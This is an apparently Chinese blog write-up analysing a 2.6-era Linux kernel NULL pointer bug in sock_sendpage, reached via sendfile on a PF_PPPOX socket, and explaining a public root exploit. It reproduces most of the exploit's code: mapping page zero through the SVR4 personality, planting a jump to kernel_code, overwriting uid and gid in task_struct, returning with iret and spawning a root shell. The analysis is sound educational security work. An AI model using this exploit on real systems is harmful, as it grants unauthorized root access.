在论坛上看到一个讲linux内核BUG的帖子，利用这个BUG，一个普通用户能够在运行某个程序之后，获得root权限。 

示例的代码如下：

在ubuntu 9.04，内核版本2.6.28.12的机器上测试通过。

(警告，此BUG已经是公开的秘密了。如果想用来干坏事，是很容易被发现的，并且将受到法律的制裁！) 

也希望linux内核尽快修复该BUG。

那么，这究竟是怎样一个BUG呢？这段代码又是怎样利用这个BUG的呢？

在网上收集了一些信息，并阅读相关部分的内核代码后，整理如下：

内核的BUG

这个BUG首先得从sendfile系统调用说起。

考虑将一个本地文件通过socket发送出去的问题。我们通常的做法是：打开文件fd和一个socket，然后循环地从文件fd中read数据，并将读取的数据send到socket中。这样，每次读写我们都需要两次系统调用，并且数据会被从内核拷贝到用户空间(read)，再从用户空间拷贝到内核(send)。

而sendfile就将整个发送过程封装在一个系统调用中，避免了多次系统调用，避免了数据在内核空间和用户空间之间的大量拷贝。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

虽然这个系统调用接收in和out两个fd，但是有所限制，in只能是普通文件，out只能是socket（这个限制不知道后来的内核版本有没有放宽）。

sendfile系统调用在内核里面是怎么实现的呢？这个还是比较复杂，它在内核里面做了原来要在用户态做的事情：创建一个pipe对象作buffer用、从in_fd中读数据到pipe中、将pipe中的数据写到out_fd、循环直到满足结束条件。

关于写数据到out_fd的过程，简要描述如下：

sys_sendfile => 入口

do_sendfile => 参数检查，其中会确定out_fd对应的file结构包含sendfile方法(out_file->f_op->sendpage)

do_splice_direct => 最终调用到out_file->f_op->splice_write，而out_file是个socket，它的f_op->splice_write等于generic_splice_sendpage

generic_splice_sendpage => 最终调用到out_file->f_op->sendpage，这个sendpage等于sock_sendpage

sock_sendpage的代码如下：

struct socket *sock;

int flags;

sock = file->private_data;

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;

if (more)

    flags |= MSG_MORE;

return sock->ops->sendpage(sock, page, offset, size, flags);

注意，BUG出现了，调用sock->ops->sendpage之前没有判断这个函数指针是否为NULL。

(这里调用的sock->ops->sendpage就是out_file->f_op->private_data->ops->sendpage，out_file->f_op->private_data指针指向的是一个struct socket结构，因为这个fd代表的是一个socket。)

但是，这里的sock->ops->sendpage可能是NULL吗？搜索内核代码可以发现，并不是每一种类型的socket都会实现sendpage这个函数。但是大多数没有实现这个函数的socket都将这个函数指针设为sock_no_sendpage(这基本上是一个例行公事的空函数)。但是，有少数类型的socket却没有设置sock->ops->sendpage(没设置，则默认为NULL)，如PF＿PPPOX、PF＿BLUETOOTH、等等。(上面链接给出的代码就利用了PF＿PPPOX，后来我发现，用PF＿BLUETOOTH也能达到一样的效果，而换用PF_INET之类的却不行。)

利用这个BUG

前面我们看到，内核在sendfile系统调用中，没有判断sock->ops->sendpage是否为空，就对它进行调用，并且sock->ops->sendpage的确可能为空。

如果我们的程序中调用一个值为NULL的函数指针，其结果会怎样？自然是程序崩溃，也仅仅就是崩溃而已。那么，这么个东西是怎么被利用，并实现窃取root身份的呢？让我们逐步解读上面链接给出的代码。

主函数main()：

char template[] = "/tmp/padlina.XXXXXX"; 

int fdin, fdout; 

void *page; 

uid = getuid(); // 获取用户ID，后面有用

gid = getgid(); // 获取用户组ID，后面有用

setresuid(uid, uid, uid); // 确保用户ID被设置到进程中

setresgid(gid, gid, gid); // 确保用户组ID被设置到进程中

// 以下几句就狠了，它把0～1000的地址做了映射，并且置可执行属性

if ((personality(0xffffffff)) != PER_SVR4) { 

    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { 

        perror("mmap"); 

        return -1; 

    } 

} else { 

    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { 

        perror("mprotect"); 

        return -1; 

    } 

} 

// 以下几句更狠，在刚刚映射的0地址上写下JMP到kernel_code的指令

*(char *)0 = '\x90'; // nop

*(char *)1 = '\xe9'; // jmp

*(unsigned long *)2 = (unsigned long)&kernel_code – 6; // 这里是相对跳转，-6就是减去当前地址的地址值

// 创建一个临时文件，用作源文件

if ((fdin = mkstemp(template)) < 0) { 

    perror("mkstemp"); 

    return -1; 

} 

// 创建一个socket，注意其类型为PF_PPPOX

if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) { 

    perror("socket"); 

    return -1; 

} 

// 下面重点就是sendfile了

unlink(template); 

ftruncate(fdin, PAGE_SIZE); 

sendfile(fdout, fdin, NULL, PAGE_SIZE); 

经过前面的介绍，我们可以看到，这里的sendfile将在系统调用中触发对0地址的调用。然而，现在0地址上已经被写下了JMP到kernel_code的指令。

这里的kernel_code实际上是和这个main在一起编译的一个函数，下面我们将会看到。

现在的处境

进入sendfile系统调用后，CPU进入内核态。内核态能干任何CPU能干的事情，一般情况下，只有内核代码能在内核态下执行，这是由内核来保证的。但是现在，内核代码调用了0地址的函数，进入了用户代码kernel_code。于是，程序员可以在他们自己写的kernel_code代码中干任何内核能干的事情。

注意，一般从内核态返回到用户态有专门的指令(比如iret)，它会同时改变CPU特权级别。但是现在的情况不是这样，内核代码相当于是直接调用程序员写的函数，并没有返回用户态。

然而另一方面，内核代码可以轻松地访问内核的数据结构，因为内核代码是在一块编译的，对象的地址都知道、结构都清楚。而现在程序员写在kernel_code里的代码呢？尽管他们拥有与内核代码一样的访问权限，但是却不知道数据的地址和状态，他们现在是个瞎子。

下面，你会看到在kernel_code的代码中，示例代码的作者是怎样摸着石头过河的。

开始干坏事了

kernel_code函数主要分三个步骤：

1、获取task_struct

uint *p = get_current();

其中get_current的代码如下：

__asm__ __volatile__ ( 

    "movl %%esp, %%eax ;" // 将栈指针的值赋给EAX

    "andl %1, %%eax ;" // 将这个栈指针值与~8191(后13bit为0)取与

    "movl (%%eax), %0" // 将结果输出到curr变量中，此即task_struct指针

    : "=r" (curr) 

    : "i" (~8191) 

); 

在内核中，每个进程拥有一个thread_info结构，以及内核栈。这两样东西是分配在两个连续的page中的，并且thread_info结构在前，栈在后。thread_info结构的第一个元素是task，它是一个指向task_struct结构(即通常所说的进程控制块)的指针。在这个task_struct结构中就保存着进程的主要信息。

（注：linux 2.4时，这里的两个page存放着task_struct结构和内核栈，并没有thread_info这样一层。）

在32位系统中，一个page的大小是4K，page的首字节的地址后12bit为0。而task_struct结构相当于是两page对齐的，其首地址的后13bit为0。

由此，通过栈指针的值，将后13bit清0后，得到进程对应的thread_info结构，再以thread_info结构为指针（该结构的第一个字，即指向task_struct结构的task指针），便能得到task_struct结构。

（其实，通过这样一段汇编代码拿到task_struct结构还是比较笨的办法。最简单的办法是：取当前栈上定义的任意一个变量，将其地址的后13位清0即可。）

2、拿到了task_struct，要干什么呢？示例代码的目标是修改task_struct中记录的用户信息，以使得这个进程变成是由root启动的进程。

for (i = 0; i < 1024-13; i++) {     

    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { 

        p[0] = p[1] = p[2] = p[3] = 0; 

        p[4] = p[5] = p[6] = p[7] = 0; 

        p = (uint *) ((char *)(p + 8) + sizeof(void *)); 

        p[0] = p[1] = p[2] = ~0; 

        break; 

    } 

    p++; 

} 

回想一下，在main函数中已经获取了用户和用户组ID，并设置到了进程中(设置到进程了task_struct结构中)。于是，搜索task_struct结构，试图匹配这几个ID。因为在不同版本的内核中，这几个ID放置的位置可能不大相同，但它们出现的顺序总是相同的。

如果被匹配到，那么就找到了这几个ID的存放地。然后，就可以将它们全部改为0。于是这个进程就变成root用户的进程了。

不过这种修改uid的方法在较新版本的内核中已经行不通了，uid、gid这些信息已经不是直接放在task_struct结构中，而是整理到一个叫cred的结构，然后task_struct结构保存了指向对应cred结构的指针。

3、回到用户态

好了，身份已经改好，程序回到用户态去，启动一个shell，然后好好体会root生活吧～

__asm__ __volatile__ ( 

    "movl %0, 0x10(%%esp) ;" 

    "movl %1, 0x0c(%%esp) ;" 

    "movl %2, 0x08(%%esp) ;" 

    "movl %3, 0x04(%%esp) ;" 

    "movl %4, 0x00(%%esp) ;" 

    "iret" 

    : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 

    : "i" (USER_CS), "r" (exit_code) 

); 

这段代码就是将返回地址压在内核栈上，然后iret返回用户态。返回地址被指定到exit_code上，这也是和main编译在一起的一个函数。其代码如下：

if (getuid() != 0) { 

    fprintf(stderr, "failed\n"); 

    exit(-1); 

} 

execl("/bin/sh", "sh", "-i", NULL); 

现在程序已经回到用户态了，调用getuid看看是不是已经成了root。确认无洖，启动shell吧～

问题的点睛

虽然上面的叙述一口气把这个内核漏洞的来龙去脉讲通了，但是有个重要的细节却一笔代过了。那就是映射0地址的部分，我觉得这才是整个攻击代码的点睛之笔。其代码大致如下：

if ((personality(0xffffffff)) != PER_SVR4) { 

    mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0);

} else { 

    mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

}

映射0地址，为什么不是直接的mmap，还要有这样的分支语句呢？personality函数和mprotect函数又是什么意思？

其实，这段攻击代码编译成的可执行文件（记为exploit）并不是直接在shell上面执行的。而是通过一段C代码来执行（见源码中的run.c）：

int main(void) {

    if (personality(PER_SVR4) < 0) {

        perror("personality");

        return -1;

    }

    fprintf(stderr, "padlina z lublina!\n");

    execl("./exploit", "exploit", 0);

}

可以看到，在执行之前，也调用了personality函数。

linux内核具有很强的兼容性，不仅可以执行linux下编译的可执行文件，还可以执行在其他操作系统下编译的可执行文件：对于windows等一些操作系统上的可执行文件，linux通过运行于用户态的虚拟机程序（如wine）来运行；而对于某些类unix系统的可执行文件，linux则可以直接执行。

然而linux直接执行类unix系统的可执行文件，也并不是无缝的，需要设置“执行域”来告诉内核当前执行的是某某系统的可执行文件。于是，linux内核就会根据对应的类unix系统的规则（比如内存布局、信号处理等）来运行程序。

上面看到的personality函数就是用来设置“执行域”的（默认的执行域就是linux），而上面的启动代码就通过personality函数将进程的执行域设置为SVR4（一种较老的类unix系统，System V Release 4）。于是，在映射0地址时将走到调用mprotect函数的分支（personality(0xffffffff)表示获取当前的执行域）。

mmap是用来分配进程虚拟内存区域的函数，分配的同时可以设置其属性；而mprotect函数则是专门设置虚拟内存区域属性的函数。上面的攻击代码中，通过这个函数，把0地址设置为可执行。

在我的系统上，如果直接在shell上执行exploit程序（走mmap的分支），mmap会失败。因为在32位linux上，进程地址空间是从0x08048000开始使用的（依次是可执行代码区、全局数据区、堆、文件映射区、栈），从0地址到0x08048000的空间并不能被映射。

exploit程序之所以能够映射0地址，是因为发现了在SVR4这种执行域下，进程能够映射0地址。确切的说，0地址默认是有映射的存在的，代码只是修改了这个映射的属性。

在linux 2.6.29.4的代码中找到了以下一些内容：

personality.h，对SVR4执行域有如下选项定义（注意其中有个MMAP_PAGE_ZERO标记）：

enum {

......

PER_SVR4 =   0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,

......

};

binfmt_elf.c:load_elf_binary()，在加载elf格式（linux下最常用的格式）的可执行文件时，有如下代码（针对MMAP_PAGE_ZERO标记做了特殊处理）：

    ......

if (current->personality & MMAP_PAGE_ZERO) {

      /* Why this, you ask??? Well SVr4 maps page 0 as read-only,

      and some applications "depend" upon this behavior.

      Since we do not have the power to recompile these, we

      emulate the SVr4 behavior. Sigh. */

      down_write(&current->mm->mmap_sem);

      error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,

      MAP_FIXED | MAP_PRIVATE, 0);

      up_write(&current->mm->mmap_sem);

}

......

看到作者的注释了吧~ 就这样，0地址被映射了。

参考：